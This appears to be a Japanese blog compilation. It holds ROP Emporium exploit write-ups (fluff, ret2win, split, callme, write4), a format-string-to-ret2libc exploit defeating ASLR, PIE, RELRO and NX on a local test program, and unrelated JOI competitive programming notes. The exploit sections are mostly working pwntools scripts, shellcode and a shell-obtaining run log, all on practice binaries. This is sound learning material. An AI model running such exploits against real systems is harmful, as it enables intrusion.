    res+=p32(0x0804867b) # xor edx,ebx; pop ebp; mov edi,0xdeadbabe; ret;
    res+=p32(0)
    res+=p32(0x08048689) # xchg edx,ecx; pop ebp; mov edx,0xdefaced0; ret;
    res+=p32(0)
    res+=p32(0x080483e1) # pop ebx; ret;
    res+=p32(f(edx)^0xdefaced0)
    res+=p32(0x0804867b) # xor edx,ebx; pop ebp; mov edi,0xdeadbabe; ret;
    res+=p32(0)
    res+=p32(0x08048693) # mov DWORD PTR [ecx],edx; pop ebp; pop ebx; xor [ecx],bl; ret;
    res+=p32(0)
    res+=p32(0)
    return res

payload+=rewrite(elf.bss(),'/bin')
payload+=rewrite(elf.bss()+4,'/sh\x00')

payload+=p32(elf.plt['system'])
payload+=b"AAAA"
payload+=p32(elf.bss())

p.sendline(payload)
p.interactive()

64bit

レジスタの名前が変わった以外のロジックはほぼ同じです。

今回はretをダミーの後と、pltの呼び出し前に置いたら上手く行きました。

まぁpwntoolsの機能でgdbのattachできるのでmovapsで落ちてるとかはすぐ気がつけます。

from pwn import *
elf=ELF("./fluff")
p=process("./fluff")

def f(s):
    res=0
    s=s[::-1]
    for i in s:
        res+=ord(i)
        res*=0x100
    return res//0x100

payload=b"A"*40
payload+=p64(0x40082c) # ret;

def rewrite(r10,r11):
    res=b""
    res+=p64(0x400822) # xor r11,r11; pop r14; mov edi,0x601050; ret;
    res+=p64(0)
    res+=p64(0x400845) # mov r11d,0x602050; ret;
    res+=p64(0x400832) # pop r12; mov r13d,0x604060; ret;
    res+=p64(r10^0x602050)
    res+=p64(0x40082f) # xor r11,r12; pop r12; mov r13d,0x604060; ret;
    res+=p64(0)
    res+=p64(0x400840) # xchg r11,r10; pop r15; mov r11d,0x602050; ret;
    res+=p64(0)

    res+=p64(0x400822) # xor r11,r11; pop r14; mov edi,0x601050; ret;
    res+=p64(0)
    res+=p64(0x400845) # mov r11d,0x602050; ret;
    res+=p64(0x400832) # pop r12; mov r13d,0x604060; ret;
    res+=p64(f(r11)^0x602050)
    res+=p64(0x40082f) # xor r11,r12; pop r12; mov r13d,0x604060; ret;
    res+=p64(0)
    res+=p64(0x40084e) # mov QWORD PTR [r10],r11; pop r13; pop r12; xor BYTE PTR [r10],r12b; ret;
    res+=p64(0)
    res+=p64(0)
    return res

payload+=rewrite(elf.bss(),'/bin/sh\x00')
payload+=p64(0x40082c) # ret;
payload+=p64(0x004008c3) # pop rdi; ret;
payload+=p64(elf.bss())
payload+=p64(elf.plt['system'])

p.sendline(payload)
p.interactive()

ROP Emporium埋め 前半

x86-64に全然慣れてないので、やります。

今回は前半の4問だけです。後半も直にやります。

環境 : Ubuntu 20.04 LTS

$ lsb_release -a
LSB Version:    core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:    20.04
Codename:   focal

1. ret2win

32bit

ただのバッファオーバーフローですね。

gdbでpattern_createからのpattoでリターンアドレスまでのoffset割り出して、ret2winに飛ばします。やるだけ。

from pwn import *

elf=ELF("./ret2win32")
p=process("./ret2win32")

payload=b"A"*44
payload+=p32(elf.symbols['ret2win'])
p.sendlineafter(b"\n\n> ",payload)
print(p.recvall())

64bit

方針は変わらないんですが、ret2winの先頭に飛ばすとレジスタの関係で落ちるので、1つ飛ばしたら実行できました。

from pwn import *
elf=ELF("./ret2win")
p=process("./ret2win")

payload=b"A"*40
payload+=p64(elf.symbols['ret2win']+1)
p.sendlineafter(b"\n\n> ",payload)
print(p.recvall())

2. split

32bit

objdumpしてみると、usefulFunctionの中でsystem(0x8048747)を呼んでいる事が分かります。

今回もバッファオーバーフローがあるので取り敢えずusefulFunctionに飛ばしてからgdbでattachすると、 0x8048747の中身は/bin/lsでした。カス!

FSBとかないのでそれを書き換えるのは無理、という事でnmコマンドで適当に探してみるとusefulStringが見つかります。

こちらの中身を見てみると.../bin/cat flag.txtです。世の中よくできてるなぁ(?)

後はpwnmeのリターンアドレスからROPして終わりです。

from pwn import *
elf=ELF("./split32")
p=process("./split32")

payload=b"A"*44
payload+=p32(elf.plt['system'])
payload+=b"AAAA"
payload+=p32(0x804a030) # useful String

p.sendlineafter(b"Contriving a reason to ask user for data...\n> ",payload)
print(p.recvall())

64bit

64bitの関数呼び出し、32bitと全然違うんですよね。

32bitだと素直にstackにポンポン入れられるんですが64bitだとrdi -> rsi -> rdx ...みたいな感じでレジスタに入れられていきます。

しかも、stack alignmentとかなんとかでROPの最初にret;挟まないと死ぬっていう 手間のかかる子です。

from pwn import *
elf=ELF("./split")
p=process("./split")

payload=b"A"*40
payload+=p64(0x004005b9) # ret;
payload+=p64(0x00400883) # pop rdi; ret;
payload+=p64(0x0000000000601060) # usefulString
payload+=p64(elf.plt['system'])

p.sendlineafter(b"Contriving a reason to ask user for data...\n> ",payload)
print(p.recvall())

3. callme

32bit

問題文にcallme_one(1,2,3),callme_two(1,2,3),callme_three(1,2,3)の順に呼べと書いてあるのでその通りにします。

from pwn import *
elf=ELF("./callme32")
p=process("./callme32")

payload=b"A"*44
payload+=p32(elf.plt['callme_one'])
payload+=p32(0x080488a9) # pop3ret
payload+=p32(0x00000001)
payload+=p32(0x00000002)
payload+=p32(0x00000003)
payload+=p32(elf.plt['callme_two'])
payload+=p32(0x080488a9)
payload+=p32(0x00000001)
payload+=p32(0x00000002)
payload+=p32(0x00000003)
payload+=p32(elf.plt['callme_three'])
payload+=p32(0x080488a9)
payload+=p32(0x00000001)
payload+=p32(0x00000002)
payload+=p32(0x00000003)

p.sendlineafter(b"Hope you read the instructions...\n> ",payload)
print(p.recvall())

64bit

最初にretを挟むのを忘れずに。

他の人のwrite-up見てみると、最初のret gadget挟んでないのに上手く行ってるんですよね...なんでだろ

from pwn import *
elf=ELF("./callme")
p=process("./callme")

pop3_gadget=0x00401ab0
ret_gadget=0x004017d9
payload=b"A"*40
payload+=p64(ret_gadget)
payload+=p64(pop3_gadget)
payload+=p64(0x1)
payload+=p64(0x2)
payload+=p64(0x3)
payload+=p64(elf.plt['callme_one'])
payload+=p64(pop3_gadget)
payload+=p64(0x1)
payload+=p64(0x2)
payload+=p64(0x3)
payload+=p64(elf.plt['callme_two'])
payload+=p64(pop3_gadget)
payload+=p64(0x1)
payload+=p64(0x2)
payload+=p64(0x3)
payload+=p64(elf.plt['callme_three'])

p.sendlineafter(b"Hope you read the instructions...\n> ",payload)
print(p.recvall()) 

4. write4

32bit

なんかbufferの値を/bin/sh\x00AAAA...とかにすればいいかな〜とか思ったんですが、変数名分からんしで諦めてwrite-upを見ました。

usefulGadgetsにmov DWORD PTR [edi],ebpがあるので、pop edi; pop ebp; ret;があったら任意の書き込み権限のあるアドレスに任意の値を書き込めるとからしいです。

肝心の書き込み権限のあるアドレスとしてはbssセクションが使えるので、そこに/bin/shを書き込んでsystemの引数でそれを呼べばシェルが起動するという感じです。

from pwn import *
elf=ELF("./write432")
p=process("./write432")

pop2_gadget=0x080486da
mov_edi_ebp=0x08048670
bss=elf.bss()

payload=b"A"*44
payload+=p32(pop2_gadget)
payload+=p32(bss)
payload+=b"/bin"
payload+=p32(mov_edi_ebp)
payload+=p32(pop2_gadget)
payload+=p32(bss+4)
payload+=b"/sh\x00"
payload+=p32(mov_edi_ebp)
payload+=p32(elf.plt['system'])
payload+=b"AAAA"
payload+=p32(bss)


p.sendlineafter(b"Go ahead and give me the string already!\n> ",payload)
p.interactive()

64bit

32bitのコードを64bit版にしただけです。/bin/sh\x00が8バイトで丁度良いですね〜

from pwn import *
elf=ELF("./write4")
p=process("./write4")

payload=b"A"*40
payload+=p64(0x004005b9) # ret;
payload+=p64(0x00400890) # pop r14;pop r15;ret;
payload+=p64(elf.bss())
payload+=b"/bin/sh\x00"
payload+=p64(0x00400820) # mov QWORD PTR [r14],r15
payload+=p64(0x00400893) # pop rdi;ret;
payload+=p64(elf.bss())
payload+=p64(elf.plt['system'])

p.sendlineafter(b"Go ahead and give me the string already!\n> ",payload)
p.interactive()

ASLR + Full RELRO + NX bit + PIE + SSP から FSB でシェルを起動する

これはASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーRELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジー の合わせ技みたいなやつのメモです。

ASLR + Full RELRO + NX bit + PIE + SSP の状態でFSBからのシェルの起動までをやります。

環境

Ubuntu 20.04LTS 64bit

$ uname -a
Linux defineprogram-dynabook-T45-GG 5.4.0-33-generic #37-Ubuntu SMP Thu May 21 12:53:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
LSB Version:    core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:    20.04
Codename:   focal

$ gcc --version
gcc (Ubuntu 9.3.0-10ubuntu2) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

攻撃対象のコード

//fsb.c
#include <stdio.h>

void vuln()
{
    char buf[200];
    for(int i=0;i<3;i++) {
        fgets(buf, sizeof(buf), stdin);
        printf(buf);
        fflush(stdout);
    }
}

int main()
{
    vuln();
    return 0;
}

なんで3回かと言うと、後で3回に分けて攻撃するからです。

64bitのエクスプロイトは難しいので、32bitでやります。

gcc -m32 -Wl,-z,relro,-z,now -o fsb fsb.c

指針

ASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーでは、アドレスをリークした上でfflushのアドレスを FSAでGOT Overwriteしてシェルコードのあるアドレスに向かせてシェルを奪っています(NX bit無効かつFull RELROでない事が条件)。 一方、RELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジーではmain関数のリターンアドレスをsystem関数に向かわせてシェルを奪っています(ASLRが無効なのが条件)。

というわけで、合わせるとアドレスをリークした上でリターンアドレスをsystem関数に向かわせるという事になりますね。

これならNX bitにもRELROにも引っかかりません。

エクスプロイトコード

エクスプロイトコードは、大体ASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーをpwntools使って書き直したようなものです。

アドレスによってはエラー出そうなのあるけど許して

エクスプロイトする時には、アドレスの入ってるアドレスなのか、それとも実際のアドレスなのか、そしてoffsetなのか実際のアドレスなのか混同しがちなので注意です。

さて、エクスプロイトの流れを軽く説明します。

Round 1 以前

以下の情報を持ちます。これらはPIEやASLRとは関係なく一定です。

  • bufferがFSBで何番目に現れるか
  • vulnからのreturn addressの置かれているアドレスのbufferからのoffset
  • vulnを呼び出す時に置かれるsaved ebp自体のbufferからのoffset
  • __libc_start_mainのgotアドレスのoffset
  • fflushのgotアドレスのoffset
  • vulnからのreturn address自体のoffset
  • libc内の__libc_start_mainのoffset

Round 1

FSBを利用して、

  • return address自体
  • saved ebp自体

をリークします。return address自体のoffsetが分かっているので、offsetを引く事でbaseが何かが分かります。

また、saved ebpとbufferとのoffsetも分かっているので、bufferのアドレスも分かります。

Round 2

base addressが判明し、libc_start_main(got)のoffsetも分かっているので、FSBによりlibc_start_mainの実際のアドレスが判明します。

__libc_start_mainのlibc内のoffsetは分かっているので、libc base addressが分かります(重要)

Round 3

Round 1でbufferのアドレスが判明しており、またbufferとreturn addressの入ってるアドレスのoffsetも判明しているのでreturn addressの入ってるアドレスも分かります。

後はreturn addressを書き換えるだけです。

libc baseがRound 2で判明しているので、systemや"/bin/sh"の実際のアドレスも分かります。

こちらもFSBで書き換えるだけ。Got OverwriteではないのでRELROには引っかかりません!

Round 3 の後

vulnからのreturn時にsystem("/bin/sh")が実行され、シェルが立ち上がります。

やったぜ!

# ret2libc.py
from pwn import *
index=5
offset_retaddr_from_buf=0xd8
offset_ebp_from_buf=0xe4

shellcode=b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

elf=ELF("./fsb")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")

offset_got_start=elf.got['__libc_start_main']
offset_got_fflush=elf.got['fflush']
offset_retaddr=0x12e3
offset_libc_start=libc.symbols['__libc_start_main']

log.info("offset_got_start={}".format(hex(offset_got_start)))
log.info("offset_got_fflush={}".format(hex(offset_got_fflush)))
log.info("offset_libc_start={}".format(hex(offset_libc_start)))

p=process("./fsb")

index_retaddr=index+offset_retaddr_from_buf//4

# Round 1

payload="%{}$08x".format(index_retaddr)
payload+="%{}$08x".format(index_retaddr-1)

p.sendline(payload)
line=p.recvline()

addr_retaddr=int(line[:8],16)
addr_ebp=int(line[8:],16)
base_addr=addr_retaddr-offset_retaddr
addr_buf=addr_ebp-offset_ebp_from_buf
log.info("base_addr:{}".format(hex(base_addr)))
log.info("addr_buf:{}".format(hex(addr_buf)))

# Round 2
payload=p32(base_addr+offset_got_start)
payload+=bytes("%{}$s".format(index).encode())
p.sendline(payload)
addr_libc_start=u32(p.recvline()[4:8])
base_libc_addr=addr_libc_start-offset_libc_start

log.success("libc base:{}".format(hex(base_libc_addr)))

# Round 3

address_retaddr=offset_retaddr_from_buf+addr_buf
offset_system=libc.symbols['system']
offset_binsh=next(libc.search(b"/bin/sh"))
writes={address_retaddr:base_libc_addr+offset_system,
        address_retaddr+8:base_libc_addr+offset_binsh}

payload=fmtstr_payload(index,writes)
p.sendline(payload)

p.interactive()

実行すると、一発でシェルが取れている事が分かります。

$ python3 ret2libc.py 
[*] '/home/defineprogram/Desktop/CTF/FSB_ASLR+PIE/fsb'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] offset_got_start=0x3fe0
[*] offset_got_fflush=0x3fd4
[*] offset_libc_start=0x1edf0
[+] Starting local process './fsb': pid 18696
[*] base_addr:0x565ca000
[*] addr_buf:0xffaa77a4
[+] libc base:0xf7da6000
[*] Switching to interactive mode
                                               \xc8                                                                                                                                       \x80                                     @                                                                                                                  %                                                %                                                                                                               h   1aaa|x\xaa\xff}x\xaa\xff~x\xaa\xff\x7fx\xaa\xff\x84x\xaa\xff\x85x\xaa\xff\x86x\xaa\xff\x87x\xaa\xff
$ id
uid=1000(defineprogram) gid=1000(defineprogram) groups=1000(defineprogram),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1001(docker)

JOI難易度8を2日で全クリする

これはなんですか?

基本に立ち返るべく、難易度8をもう一周する事にしました

解説記事ではないので、感想とかを書きます

ネタバレ注意

Shuffle

1回のシャッフルにつき列が分かれて増える数は高々2なので、愚直にシミュレーションしても間に合う事が分かります

シャッフル後のカードは増加列をいくつか持っている形になっているので、それを持ちます

実装辛い...

植木算消えろ!!!

ACコード

散歩

これad-hocで面白い

ある時点で各頂点の向きがどちらかは、最初の向きとその頂点を通った回数によって決まります

各頂点を N 回通る時、その頂点から右と下の頂点へはそれぞれ大体半分ずつ通ります(奇数の場合、最初に向いている方向が1回多い)

よって、N 回目に散歩する時に各頂点がどちらを向いているかが分かるので後は適当にシミュレーションするだけです

ACコード

認証レベル

これ簡単枠じゃないかな

cost1[i]= 事務所1で i 室入るために必要な最小コスト

cost2[i]= 事務所2で以下同文

として、事務所1で入る室数を全探索すれば良さそうな事が分かります

コストは、エレベータの所からスタートしてstd::priority_queueを使うと簡単に実装できます

事務所1,2で同じ実装をするのは面倒なので、関数でやると楽ですね

ACコード

Sequence

要は奇数か偶数かを考えれば良い事が分かります

鳩の巣原理より、周期の長さは高々 (2n-1) × n で、実際はもっと短いので間に合うっぽい?という事が分かります

というわけで周期の長さがいくつかをシミュレーションして、後はバケット法の下位互換(伝わって)をすれば良いです

↓こういうやつ

while(p%n&&p<q){
    ans+=v[p++];
}
while(q%n&&p<q){
    ans+=v[--q];
}
ans+=(q-p)/n*sum;

周期が確定した後に最後のを消し忘れてN回WA出した...

ACコード

Pyramid

これも簡単枠。

std::priority_queueを使って、ピラミッドの高さが高い方から周りに伝播させて行けばいいです

define int long longをしているとMLEします(懲りない人)

ACコード

Abduction

X座標とY座標は独立なので、それぞれimosの要領でDPすれば良いです

配列の再利用をしないとMLE

dpx[H][j]とする所をdpx[W][j]にして、気づくのに1時間かかった...

カス

ACコード

Advertisement

トポソみたいな感じで、上からドバーッと流していけば良い事が分かります

これ、強連結成分分解とは言わない気がする...

ACコード

Distribution

子の中で最も得点の高いパスを親に繋げて、他はそこで打ち切りみたいな実装をすると、O(NlogN)になって嬉しいです

以前やった時はLCA使って実行時間ギリギリで通した記憶...

ACコード

方向音痴のトナカイ

これ難易度9だと思うんですが...

前からやるとTLEするので、後ろからやります

後ろからだと、次にできるやつが高々4通りなので間に合います

やっぱり難しいなぁ...

ACコード

------------------ここまで4/29------------------

Sengoku

以前やった時は面倒な方法をしたのですが、今は45°回転する一般的なテクを知っているのでさほど難しくはないです

重複した線に気をつければ、そこまで難しくはないはず...?

ACコード

a plus b

見た目は簡単なのに...ってやつですね

以前やった時、実装に苦しんだ覚えがあって二度とやるかくらいに思っていたんですが、大して難しく感じませんでした(嬉しい)

ただ、長さが0のものをvectorに入れていたせいでバグって30分溶かしました...(ァ)

ACコード

DNA Synthesizer

ただのやるだけDPに見えますが、実行時間制限が短いです

std::setを使うとTLEしますが、std::unordered_setを使うと余裕で間に合います

set::findだけを使う時はunordered_setを使った方が速いです

Trieでやるともうちょい速いです

ACコード(unordered_set)

ACコード(Trie)

歩くサンタクロース

全点からの距離の和の最小は中央値という有名なやつを利用します

どれか1つだけ取り除く場合、中央値はどう変化するかを考えれば良いです

そんなに難易度8の中ではまぁまぁ難しい方?

ACコード

Deciphering

部分文字列の数え上げ、典型中の典型ですね

define int long longを付けてることでTLEやMLE、難易度8はめちゃくちゃ多いなぁ...

ACコード

Nails

正三角形は嫌なので、傾けて直角三角形にします

あらかじめ加算のスタートとゴールをimosで加算してから斜め方向にimosすればOK!

面白い問題だと思います

ACコード

JOI Flag

ほとんど塗られてないので、適当な枝刈りをすれば良いです

愚直に実装すると大変ですが、工夫すれば楽に実装できます

ACコード

現代的な屋敷

向きが同じ状態の周りのスイッチと、向きの違う同じ場所に対して辺を張れば良いです

1-2-3-4-5のように連なっている場合は、1-3のような辺は必要ありません

あとは適当にダイクストラすればOKです

ACコード

マスコットの片付け

かなりAtCoder寄りの問題ですね...

縦長の長方形を追加する時、大事なのは高さであり、上下にいくつずつあるかはどうでも良いです

なので、DP[i][j] = 既に上下に i マス 左右に j マス追加した場合の数 としてDPをして、後は適当に最初の長方形を作るまでの通り数と上下左右にそれぞれ割り当てる通り数を掛ければOKです

面白い問題だと思います

ACコード

Spy

Nの方の制約がゆるいので、そっちから考えます

ans[i][j] = JOIの i , IOI の j が参加するプロジェクトの個数として、JOIとIOIでそれぞれ下に降りていけばO(N2)です

難易度7でも良いんじゃないかな...

ACコード

Mountain Rescue

難易度8としては珍しいインタラクティブです

割と天才解法だし、難しいと思うんだけどなぁ...

ACコード

Presents

全ての出次数が1という事は、各連結成分が1つの閉路と、閉路に向かって生えている辺のみという事です

閉路に向かって生えているのは全て嬉しさが多い方にできます

閉路の中で、自分と違うのを好む人が偶数の場合、全員を嬉しさが多い方に分配する事ができます(偶数回反転したらもとに戻る)

しかし、奇数の場合は閉路の中の誰かを犠牲にする必要があります

あとはDFSやるだけ

ACコード

フクロモモンガ

最大の懸念は、時間が短いかつ高さが高いという事はあり得るかということです

登る以外は全て時間と同じだけ下がるので一度も登っていないものは関係ありません

また、一度登ったらギリギリの高さまで登ってギリギリ到着を繰り返す事になるので、必ず高さ0になり関係ありません

よって、時間だけを見れば良いことが分かりました

後はダイクストラするだけです

ACコード

財宝

半分全列挙からRange Minimum Queryです

mutliset ... TLEする

Segtree ... ギリギリ間に合う

スライド最小値 ... 余裕で間に合う

ACコード(スライド最小値)

コピー&ペースト2

元の位置を逆算する一般的なテク

ACコード

Bulding3

Building N を見る度に頭痛くなるんですけど...

Building 4がトラウマ過ぎる

必ず使わなきゃいけない数がある場合とない場合があるぞい!

重複に注意

ACコード

遺産相続

クラスカル法を思い出すと、小さい方から貪欲に追加していくだけで最小全域木になる、つまりなるべく番号が小さい人に割り当てるのが最適です

より、連結であるかは単調になり、二分探索が使えます

難易度8の中では割と難しい方なのでは...?

ACコード

屋台

まわりのを既に買ったかどうかを5bitで持つDP

実装鬼畜すぎる...

多分難易度8最難関

ACコード

鉄道運賃

BFSで最短経路で頂点に入ってくる辺の本数を持っておき、それが0になったら消して子に伝播...みたいな事をすると良いです(語彙力)

既に消した辺を二度消すみたいな事をして1WA

ACコード

準急電車

増える量は単調減少なので、単純にpriority_queueに入れて貪欲法でOKです

めちゃくちゃバグらせた...

本番だったらマジでパニックになってそう

ACコード

JOIOI王国

普通にやると実装が面倒になるのですが、Sayaka姉貴の言ってた90°回転を4回やるテクを使うと簡単れふ

ACコード

おわりに

疲れました...

4/29 9問

4/30 21問

一日で終わらせるのはほとんど不可能に近いです

是非挑戦してみて下さい!